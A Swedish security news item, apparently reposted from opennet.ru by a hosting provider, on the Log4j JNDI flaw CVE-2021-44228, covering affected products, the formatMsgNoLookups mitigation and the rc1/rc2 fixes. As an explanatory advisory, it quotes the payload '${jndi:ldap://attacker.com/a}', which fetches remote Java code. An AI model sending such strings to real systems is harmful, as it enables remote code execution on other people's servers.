En katastrofal sÄrbarhet i Apache Log4j som pÄverkar mÄnga Java-projekt.

I Apache Log4j, ett populÀrt ramverk för loggning i Java-applikationer, har en kritisk sÄrbarhet identifierats som möjliggör exekvering av godtycklig kod nÀr en speciellt formaterad strÀng i formatet "{jndi:URL}" loggas. Attacken kan utföras mot Java-applikationer som loggar vÀrden frÄn externa kÀllor, till exempel vid utskrift av problematiska vÀrden i felmeddelanden.

Det noteras att nÀstan alla projekt som anvÀnder ramverk sÄsom Apache Struts, Apache Solr, Apache Druid eller Apache Flink Àr sÄrbara, inklusive Steam, Apple iCloud, klienter och servrar för spelet Minecraft. SÄrbarheten förvÀntas leda till en vÄg av massattacker mot företagsapplikationer, likt historien om kritiska sÄrbarheter i Apache Struts, som uppskattas anvÀndas i webbapplikationer av 65% av Fortune 100-företagen. Det har redan registrerats försök att skanna nÀtverket efter sÄrbara system.

Problemet förvÀrras av att en fungerande exploit redan har publicerats, men det finns för nÀrvarande inga fixar för stabila versioner. CVE-identifieraren har Ànnu inte tilldelats. Fixen ingÄr endast i den testversion av log4j-2.15.0-rc1. Som en tillfÀllig lösning för att blockera sÄrbarheten rekommenderas att stÀlla in parametern log4j2.formatMsgNoLookups till true.

Problemet orsakades av att log4j stöder hantering av speciella maskar "{}" i loggade strÀngar, dÀr JNDI-förfrÄgningar (Java Naming and Directory Interface) kan utföras. Attacken gÄr ut pÄ att överföra en strÀng med substitutionen "${jndi:ldap://attacker.com/a}", varvid log4j kommer att skicka en server attacker.com LDAP-förfrÄgan för sökvÀgen till Java-klassen. Den returnerade servern sökvÀgen (till exempel http://second-stage.attacker.com/Exploit.class) kommer att laddas ner och köras i kontexten av den aktuella processen, vilket gör det möjligt för angriparen att fÄ exekvera godtycklig kod i systemet med rÀttigheter frÄn den aktuella applikationen.

TillÀgg 1: SÄrbarheten har tilldelats identifieraren CVE-2021-44228.

TillÀgg 2: En metod för att kringgÄ skyddet som lades till i releasen log4j-2.15.0-rc1 har upptÀckts. En ny uppdatering log4j-2.15.0-rc2 har föreslagits med ett mer komplett skydd mot sÄrbarheten. I koden framhÀvs Àndringen som rör avsaknaden av kraschar vid anvÀndning av ett felaktigt formatterat JNDI-URL.

KĂ€lla: opennet.ru

Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster